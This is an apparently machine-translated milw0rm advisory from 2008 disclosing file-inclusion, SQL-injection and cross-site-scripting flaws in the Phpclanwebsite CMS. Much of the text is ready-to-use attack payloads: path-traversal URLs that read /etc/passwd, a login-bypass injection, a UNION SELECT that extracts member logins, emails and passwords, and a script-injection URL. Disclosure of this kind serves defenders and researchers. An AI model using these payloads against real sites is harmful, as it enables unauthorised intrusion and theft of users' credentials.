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Phpclanwebsite <= 1.23.3 Fix Pack #5 (File Including/SQL/XSS) Multiple Remote Vulnerabilities The description: The set vulnerability in CMS Phpclanwebsite versions 1.23.3 Fix Pack #5 and more low was revealed. 1. Multiple File Including Vulnerabilities Vulnerability exists for the reason that direct access to some files, around logicians of work of the appendix is possible. It gives the chance to redefine internal variables which are transferred as arguments in function include (). Examples of vulnerable files: /theme/superchrome/box.php?boxname=../../../../../etc/passwd%00 /phpclanwebsite/footer.php?theme=../../../../../etc/passwd%00 etc The note: For vulnerability operation the following options PHP are required: register_globals=On and magic_quotes_gpc=Off 2. Multiple SQL Injection Vulnerabilities The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any SQL Injection. Examples of vulnerable files: SQL Injection (insert) - /index.php?page='SQL SQL Injection (delete) - /index.php?page=processforms&ok=1&SP=1&form_id=2 , where "form_id" the identifier of the deleted user SQL Injection (select) - /index.php?page=login POST:pcwlogin='SQL&pcw_pass='SQL /index.php?page=login POST:pcwlogin=1'+OR+1=1--&pcw_pass=1 SQL Injection (select) - /index.php?page=downloads&func=search POST:searchvalue='SQL&whichfield=SQL /index.php?page=downloads&func=search POST:searchvalue=1&whichfield=dl_name>1)+limit+0+union+select+tag,2,3,login,5,6,7,email,9,password,11,12,13,14,15+from+cws_members-- etc The note: For operation of all SQL Injection vulnerabilities, except vulnerability in parametre "whichfield", are required disconnected magic_quotes_gpc. 3. Multiple Cross-site Scripting Vulnerabilities The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any code in a context of a user browser. Examples of vulnerable files: /index.php?page='><script>alert('XSS')</script> etc # milw0rm.com [2008-12-18]